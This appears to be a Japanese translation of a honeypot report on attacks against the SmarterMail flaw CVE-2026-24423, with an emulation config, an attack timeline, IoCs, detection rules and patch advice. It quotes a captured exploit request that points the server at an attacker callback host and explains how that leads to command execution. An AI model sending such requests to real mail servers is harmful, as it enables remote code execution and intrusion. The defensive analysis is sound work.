CVE-2026-24423 がネットワークを直撃する瞬間を目撃:SmarterMail ハニーポット実地報告

要点まとめ

  • CVE-2026-24423 を標的として、ポート 9998 上で SmarterMail Enterprise Build 8950 を模倣した Beelzebub ハニーポットを展開しました
  • 3 日間の観測期間中、センサーは CVE 悪用のライフサイクル全体を記録しました。バックグラウンドスキャン、標的型偵察、自動脆弱性検証、そして武器化されたエクスプロイトの送信という一連の流れです
  • 同一 IP(144.31.0.125)が Nuclei による検証を実施した後、63 分後に専用の PoC スクリプトを持って戻り、実際のエクスプロイトを試みました
  • 攻撃者は既知の API エンドポイントの両バリアント(/api/v1/settings/sysadmin/connect-to-hub および /api/v1/settings/system-admin/hub/connect)を同時に探索しており、SmarterMail におけるバージョン固有のルーティング差異を把握していることが分かります
  • 武器化されたペイロードは http://144.31.0.125:8888 への外部コールバックを試みており、実際の SmarterMail インスタンスであれば、任意のコマンドを含む悪意あるマウント設定をダウンロードさせる意図でした

背景

CVE-2026-24423 は、Build 9511 より前の SmarterTools SmarterMail に存在する、認証不要のリモートコード実行(RCE)脆弱性です。脆弱なエンドポイント /api/v1/settings/sysadmin/connect-to-hub は認証を必要とせず、攻撃者がメールサーバーをリモートの「Hub」アドレスへ接続するよう指示できます。

SmarterMail インスタンスがこのリクエストを処理すると、攻撃者が制御する hubAddress にアクセスし、CommandMount パラメーターを含む JSON 設定をダウンロードして、その値をシステムレベルのコマンド実行関数に直接渡します。Linux では /bin/bash -c が、Windows では cmd.exe /c が呼び出される仕組みです。その結果、SmarterMail プロセスの権限でフル RCE が可能となります。

この脆弱性は少なくとも 4 名の研究者(watchTowr の Sina Kheirkhah 氏と Piotr Bazydlo 氏、CODE WHITE GmbH の Markus Wulftange 氏、VulnCheck の Cale Black 氏)によって独立して発見され、2026 年 1 月 15 日のリリースでパッチが適用されました。CISA は 2026 年 2 月 6 日に既知悪用脆弱性(KEV)カタログへ追加し、2 月中旬までには大規模な悪用が広く文書化されており、watchTowr は約 60 の固有攻撃者 IP から 1,000 件超の悪用試行を報告しています。

根本原因の分析とデコンパイル済みコードのウォークスルーについては、Cale Black による VulnCheck の解説をご参照ください。

私たちはこの悪用が受信側からどのように見えるかを確かめたいと考えました。


ハニーポットのセットアップ

Beelzebub インスタンスをポート 9998(SmarterMail の既定 Web インターフェースポート)でリッスンするよう設定し、脆弱な SmarterMail Enterprise 環境を模倣しました。目的は、外部へ一切接続せずに受信した悪用試行をキャプチャすることです。

設計上の判断:

判断 根拠
ポート 9998 SmarterMail Web UI の既定ポート。スキャナーが探索する値と一致します。
レスポンスヘッダー:Server: Microsoft-IIS/10.0X-Powered-By: ASP.NET SmarterMail は IIS/.NET 上で動作します。これらのヘッダーは基本的なフィンガープリントチェックを通過します。
X-SmarterMail-Version: 100.0.8950 Build 8950 はパッチ済みの Build 9511 より古く、バージョンを認識するツールに対して脆弱性の存在を示します。
/api/v1/licensing/about のバージョンエンドポイント 攻撃者やスキャナーは悪用に踏み切る前にこのエンドポイントでビルド番号を確認します。実際の SmarterMail 出力を模倣した完全な JSON オブジェクトを返します。
ConnectToHub エンドポイントが {"success": true} を返す POST を受け付け、ペイロード(コールバック先の hubAddress を含む)を完全にログに記録しますが、外部接続は一切行いません。攻撃者には「成功」レスポンスが返り、サーバーが処理中と認識させます。
/ に HTML ログインページ スクリーンショットボット、クローラー、手動操作者に対してリアルな SmarterMail ログインフォームを表示します。手動の攻撃者の滞在時間を引き延ばす効果があります。

設定スニペット:

apiVersion: "v1"
protocol: "http"
address: ":9998"
description: "SmarterMail Enterprise Build 8950 (Vulnerable emulation)"
headers:
  - "Server: Microsoft-IIS/10.0"
  - "X-Powered-By: ASP.NET"
  - "X-AspNet-Version: 4.0.30319"
commands:
  - regex: "^/api/v1/settings/sysadmin/connect-to-hub.*$"
    headers:
      - "Content-Type: application/json; charset=utf-8"
      - "X-SmarterMail-Version: 100.0.8950"
    statusCode: 200
    handler: |
      {
        "success": true,
        "message": "Hub connection handshake initiated.",
        "data": {
           "status": "negotiating",
           "transactionId": "550e8400-e29b-41d4-a716-446655440000"
        }
      }
  - regex: "^/api/v1/licensing/about.*$"
    headers:
      - "Content-Type: application/json"
    statusCode: 200
    handler: |
      {
        "product": "SmarterMail Enterprise",
        "version": "100.0.8950",
        "buildDate": "2025-11-20T14:00:00Z",
        "isLicensed": true,
        "licenseType": "Enterprise"
      }

イベントタイムライン

フェーズ 1:バックグラウンドノイズ(2 月 8〜10 日)

展開から数時間以内に、ハニーポットへのトラフィックが始まりました。この初期段階のアクティビティの大半は、サービスを探索する自動スキャナーやアセット発見プラットフォームによるものでした。

タイムスタンプ(UTC) 送信元 IP User-Agent URI メソッド
2026-02-08 06:48:48 147.185.133.233 Palo Alto Networks Cortex Xpanse / GET
2026-02-08 10:32:14 72.14.178.148 Mozilla/5.0 zgrab/0.x / GET
2026-02-08 10:35:06 65.49.1.172 Chrome/119.0 (Windows 10) / GET
2026-02-08 10:35:42 65.49.1.181 Firefox/56.0 (Linux) /favicon.ico GET
2026-02-08 10:36:47 172.236.228.229 Chrome/108.0 (macOS 13) / GET
2026-02-08 11:15:33 172.236.228.38 Chrome/108.0 (macOS 13) / GET
2026-02-09 02:25:15 91.196.152.217 Firefox/134.0 (Ubuntu Linux) / GET
2026-02-09 02:27:34 91.231.89.29 Firefox/134.0 (Ubuntu Linux) /favicon.ico GET
2026-02-09 03:30:07 162.216.149.200 Palo Alto Networks Cortex Xpanse / GET
2026-02-09 08:31:22 64.62.197.2 Chrome/116.0 (Windows 10) / GET
2026-02-09 08:31:48 64.62.197.11 Firefox/141.0 (macOS 10.15) /favicon.ico GET
2026-02-09 17:58:19 35.203.211.172 Palo Alto Networks Cortex Xpanse / GET

観察結果:

  • すべてのトラフィックは / または /favicon.ico への GET リクエスト
  • SmarterMail 固有のエンドポイントへのアクセスはなし
  • 複数回の Palo Alto Cortex Xpanse スキャン(User-Agent で自己識別)
  • 72.14.178.148 からの zgrab スキャナー(一般的な調査・偵察ツール)
  • 隣接するサブネットの複数 IP が数秒以内に到達(65.49.1.x64.62.197.x)しており、連携したスキャンインフラの存在を示唆

フェーズ 2:組織的な偵察(2 月 10 日)

2 月 10 日、単一の IP がバックグラウンドスキャンとは一線を画す、より体系的な行動を見せました。154.197.56.163 は標準的な Web アプリケーション探索エンドポイントを順次クロールしました。

タイムスタンプ(UTC) URI 目的
06:02:39 / ランディングページ
06:02:39 /favicon.ico ファビコン確認
06:02:39 /robots.txt クロール指示の確認
06:02:40 /.well-known/security.txt セキュリティ連絡先・開示情報
06:02:40 /sitemap.xml サイト構造の把握
06:02:40 /llms.txt LLM 関連コンテンツの確認

注目すべき点:/llms.txt へのリクエストは興味深いものです。これは robots.txt に類似した比較的新しい規約で、大規模言語モデル向けのコンテンツポリシーを示すために使用されます。このパターンにその存在が確認されたことは、新興の Web 標準に対応するためにツールが積極的に更新されていることを示唆しています。

/ への最初のリクエストは User-Agent ヘッダーなしで届き、Accept: text/html,application/xhtml+xml,application/xml という簡素なヘッダーのみが付いていました。それに続くリクエストでは Linux 上の Chrome/86.0.4240.111 が使用されています。最初のリクエストは軽量な生存確認プローブであり、ホストの稼働が確認された後のフォローアップリクエストにフル UA が適用されたものと見られます。

これらすべては 2 秒という短い時間枠(06:02:3906:02:40)内に完了しており、自動化であることは明らかです。


フェーズ 3:Nuclei による検証(2 月 11 日 06:55 UTC)

2 月 11 日、ハニーポットは初めて CVE 固有のトラフィックを記録しました。144.31.0.125 から同一タイムスタンプで 2 件の POST リクエストが届き、脆弱なエンドポイントの両バリアントを標的としていました。

リクエスト 1:レガシーエンドポイント

{
  "DateTime": "2026-02-11T06:55:01Z",
  "SourceIp": "144.31.0.125",
  "HTTPMethod": "POST",
  "RequestURI": "/api/v1/settings/sysadmin/connect-to-hub",
  "Body": "{\"hubAddress\":\"http://127.0.0.1:99999\",\"oneTimePassword\":\"nuclei-check\",\"nodeName\":\"nuclei\"}",
  "UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
}

リクエスト 2:新しいエンドポイントバリアント

{
  "DateTime": "2026-02-11T06:55:01Z",
  "SourceIp": "144.31.0.125",
  "HTTPMethod": "POST",
  "RequestURI": "/api/v1/settings/system-admin/hub/connect",
  "Body": "{\"hubUrl\":\"http://127.0.0.1:99999\"}",
  "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Safari/537.36"
}

分析:

  • nodeName: "nuclei"oneTimePassword: "nuclei-check" は Nuclei テンプレートの使用を強く示唆します
  • hubAddress が指す 127.0.0.1:99999 は、あり得ないポート番号でルーティング不可能なアドレスです。これは悪用の試みではなく検証チェックであり、エンドポイントが存在し JSON 構造を受け付けることを確認しています
  • 2 つのリクエストは異なる User-Agent を使用していますが、同じ秒に届いています。これは両方のエンドポイントパスを確認する単一のスキャン実行です
  • 2 番目のリクエストは /api/v1/settings/system-admin/hub/connect を標的とし、異なる JSON 構造(hubAddress ではなく hubUrl)を使用しています。これは別バージョンの SmarterMail のルーティングに対応するものです。攻撃者のツールはバージョンを認識しています

フェーズ 4:武器化されたエクスプロイトの送信(2 月 11 日 07:58 UTC)

Nuclei による検証からちょうど 63 分後、同じ IP が戻ってきました。今度は様相が一変していました。

{
  "DateTime": "2026-02-11T07:58:46Z",
  "SourceIp": "144.31.0.125",
  "HTTPMethod": "POST",
  "RequestURI": "/api/v1/settings/sysadmin/connect-to-hub",
  "Body": "{\"hubAddress\": \"http://144.31.0.125:8888\", \"oneTimePassword\": \"test\", \"nodeName\": \"poc-node\"}",
  "UserAgent": "CVE-2026-24423-PoC"
}

変化した点:

フィールド Nuclei プローブ(06:55) 武器化された試行(07:58)
User-Agent 汎用 Chrome UA CVE-2026-24423-PoC
hubAddress http://127.0.0.1:99999(安全なローカルアドレス) http://144.31.0.125:8888(攻撃者が制御するコールバック先)
oneTimePassword nuclei-check test
nodeName nuclei poc-node

User-Agent CVE-2026-24423-PoC は、公開された概念実証(PoC)スクリプトの使用を示しています。hubAddress は今度こそ、ポート 8888 の攻撃者自身のインフラを指しています。実際の SmarterMail インスタンスであれば、サーバーは以下の動作をしていたはずです。

  1. http://144.31.0.125:8888/web/api/node-management/setup-initial-connection に接続する
  2. CommandMount フィールドを含む SystemMount オブジェクトが入った JSON レスポンスをダウンロードする
  3. CommandMount の値を /bin/bash -c(Linux)または cmd.exe /c(Windows)に渡す
  4. 攻撃者が指定した任意のコマンドを実行する

今回はハニーポットであるため、受信したペイロードをログに記録して成功レスポンスを返しました。外部への接続は一切行っていません。


ペイロード分析

144.31.0.125 による 2 つのフェーズを比較した重要な対比を以下に示します。

属性 フェーズ 3:検証 フェーズ 4:攻撃
時刻 06:55:01 UTC 07:58:46 UTC
経過時間 +63 分
ツール Nuclei スキャナー 公開 PoC スクリプト
User-Agent 偽装 Chrome CVE-2026-24423-PoC
hubAddress 127.0.0.1:99999(ローカルホスト) 144.31.0.125:8888(コールバック先)
意図 「このエンドポイントは存在するか?」 「RCE のために私のサーバーへ折り返し接続せよ」
アクセスしたエンドポイント数 2(両バリアント) 1(レガシーバリアントのみ)

63 分という間隔は示唆に富んでいます。これはスキャンと攻撃を一度に行う単一の自動スクリプトではありません。ループの中に人間が介在しているか、少なくとも段階的なパイプラインが存在します。スキャン結果がトリアージされ(おそらく手動で)、その後に別の攻撃ツールが確認済み標的へ向けられているのです。

武器化された試行がレガシーエンドポイント(/api/v1/settings/sysadmin/connect-to-hub)のみを標的としたのに対し、Nuclei スキャンは両バリアントを確認していた事実は、攻撃者がスキャン結果を確認し、レスポンスに基づいて標的エンドポイントを選択したことを示唆しています。


スキャンのエコシステム

ハニーポットを運用する価値の一つは、脆弱なサービスが引き寄せるトラフィックのフルスペクトラムを把握できることにあります。接続のすべてが攻撃者とは限りません。カテゴリを理解することで、防御側が自身のログをトリアージする際に役立ちます。

3 日間の観測期間中、トラフィックを 4 つの層に分類しました。

説明 固有 IP 数 挙動
1. アタックサーフェス管理 自己識別する商用スキャナー(Palo Alto Cortex Xpanse) 4 / への GET のみ。User-Agent で明確に自己識別。同一レンジ内の異なる IP から定期的に再スキャン。
2. 調査用スキャナー zgrab および類似ツール 1 zgrab/0.x User-Agent で / に GET。シングルパス。
3. 汎用クローラー 各種ブラウザ UA、順次ポート・サービス列挙 約 10 //favicon.ico への GET。隣接 IP からの連続アクセスあり。発見エンドポイントの組織的なクロールも 1 件。
4. CVE 標的型 Nuclei 検証に続くエクスプロイト送信 1 CVE 固有の API エンドポイントへのエクスプロイトペイロードを含む POST。

その比率はおおむね予想通りで、大量のノイズ、少数の調査者、そして明確な意図を持つごく少数のオペレーターという構成でした。防御側にとって重要な点は、SmarterMail 固有のエンドポイントに触れたのは第 4 層だけだということです。それ以外はすべて汎用的な Web プロービングでした。


侵害の痕跡(IoC)

ネットワーク指標

# CVE-2026-24423 エンドポイントを標的とした観測済み IP
144.31.0.125
# コールバックアドレス(攻撃者が制御)
http://144.31.0.125:8888
# 標的エンドポイント
/api/v1/settings/sysadmin/connect-to-hub
/api/v1/settings/system-admin/hub/connect

リクエストシグネチャ

# User-Agent 文字列
CVE-2026-24423-PoC
# JSON ボディパターン(POST リクエスト)
"nodeName": "nuclei"
"nodeName": "poc-node"
"oneTimePassword": "nuclei-check"
"hubAddress": "http://144.31.0.125:8888"
"hubUrl": "http://127.0.0.1:99999"

非悪意スキャナーシグネチャ(ログトリアージ用)

# Palo Alto Cortex Xpanse(正規の ASM ツール)
User-Agent: Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity
# zgrab 調査スキャナー
User-Agent: Mozilla/5.0 zgrab/0.x

検出ルール

Sigma ルール

title: SmarterMail CVE-2026-24423 ConnectToHub Exploitation Attempt
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects POST requests targeting the SmarterMail ConnectToHub API endpoints used in CVE-2026-24423 exploitation
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-24423
  - https://vulncheck.com/blog/smartermail-rce
logsource:
  category: webserver
  product: iis
detection:
  selection_method:
    cs-method: 'POST'
  selection_uri:
    cs-uri-stem|contains:
      - '/api/v1/settings/sysadmin/connect-to-hub'
      - '/api/v1/settings/system-admin/hub/connect'
  condition: selection_method and selection_uri
falsepositives:
  - Legitimate SmarterMail Hub configuration (should be extremely rare and only from known admin IPs)
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1059
  - cve.2026.24423

Suricata ルール

alert http any any -> $HOME_NET 9998 (msg:"CVE-2026-24423 SmarterMail ConnectToHub exploit attempt";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/connect-to-hub";
  http.request_body; content:"hubAddress";
  classtype:attempted-admin; sid:2026024423; rev:1;)
alert http any any -> $HOME_NET 9998 (msg:"CVE-2026-24423 SmarterMail Nuclei validation scan";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/connect-to-hub";
  http.request_body; content:"nuclei";
  classtype:attempted-recon; sid:2026024424; rev:1;)

クイックログチェック(IIS ログ)

今すぐ SmarterMail の IIS ログを確認したい防御担当者向けのコマンドです。

# connect-to-hub エンドポイントへの POST をすべて確認
grep -i "connect-to-hub\|hub/connect" /path/to/iis/logs/u_ex*.log | grep "POST"
# 既知の PoC User-Agent を確認
grep -i "CVE-2026-24423" /path/to/iis/logs/u_ex*.log

主要な知見

1. 63 分間のパイプライン

Nuclei による検証から武器化されたエクスプロイト送信までの間隔は、同一送信元 IP から 63 分でした。これは、スキャン結果が収集され(おそらく手動で)トリアージされた後、別の攻撃ツールが確認済み標的へ向けられるというパイプラインの存在を示しています。やりっ放しの自動化ではなく、明確なワークフローが存在します。

2. バージョンを認識するツール

Nuclei スキャンはレガシーエンドポイント(/api/v1/settings/sysadmin/connect-to-hub)と新しいバリアント(/api/v1/settings/system-admin/hub/connect)の両方を、それぞれのバージョンに適した JSON 構造でプローブしました。武器化されたフォローアップはレガシーエンドポイントのみを標的にしています。これは攻撃者(またはそのツール)が SmarterMail のバージョン間の差異を考慮していることを意味します。

3. ノイズの大きさ

3 日間に記録された全接続のうち、CVE 固有のリクエストは単一 IP からの 3 件のみでした。それ以外はすべてバックグラウンドスキャンです。自身のログを確認する防御担当者にとって、既知のスキャナー User-Agent(Cortex Xpanse、zgrab)をフィルタリングし、特定の API エンドポイントへの POST リクエストに絞ることで、調査対象を大幅に絞り込めます。

4. PoC は公開済みで実際に使用中

User-Agent: CVE-2026-24423-PoC という文字列は、公開されたエクスプロイトコードの使用を裏付けています。ツールを隠そうとする試みは一切ありません。これは watchTowr が報告した広範なパターンと一致しています。オペレーターは最低限の OPSEC(作戦上のセキュリティ)でコモディティなエクスプロイトスクリプトを大規模に実行しているのです。


推奨事項

SmarterMail を運用している場合:

  1. 直ちにパッチを適用してください。Build 9511 以降にアップデートしてください。パッチ済みバージョンでは、connect-to-hub エンドポイントへの認証されていないリクエストに対して HTTP 400 が返されます。
  2. 今すぐログを確認してください。上記の grep コマンドを使用してください。外部 IP からの connect-to-hub への POST はすべて不審と見なすべきです。
  3. /api/v1/licensing/about へのアクセスを確認してください。攻撃者はエクスプロイトに踏み切る前にこのエンドポイントでビルドバージョンを確認します。不明な IP からの大量アクセスは攻撃前の予兆となります。
  4. パッチ未適用の場合は侵害を前提に行動してください。CISA は 2 月 6 日に KEV カタログへ追加しています。それ以降にインスタンスがインターネットに公開されパッチ未適用の状態だった場合は、徹底的な調査を実施してください。

防御担当者全般に向けて:

  1. 本レポートの Sigma ルールと Suricata ルールを検出パイプラインへ導入してください。
  2. コールバックパターンを監視してください。このエクスプロイトは、被害者サーバーが攻撃者へ外部 HTTP 接続を行うことを必要とします。メールサーバーから未知の IP へのポート 8888 や 8082 などの特殊なポートへの外部接続は、強い警戒シグナルです。
  3. 独自のハニーポット導入を検討してください。この設定で Beelzebub インスタンスを立ち上げるのに数分しかかかりませんでしたが、3 日間で実用的なインテリジェンスをキャプチャすることができました。

参考資料

  • VulnCheck Advisory: CVE-2026-24423 – SmarterMail ConnectToHub 認証不要 RCE(Cale Black 著)
  • CVE-2026-24423 に関する CISA KEV カタログエントリ
  • watchTowr による悪用テレメトリ(Cyber Daily 経由)
  • SmarterMail Build 9511 リリースノート
  • Beelzebub ハニーポットフレームワーク

翻訳元: https://beelzebub.ai/blog/watching-cve-2026-24423-hit-the-wire/

ソース: beelzebub.ai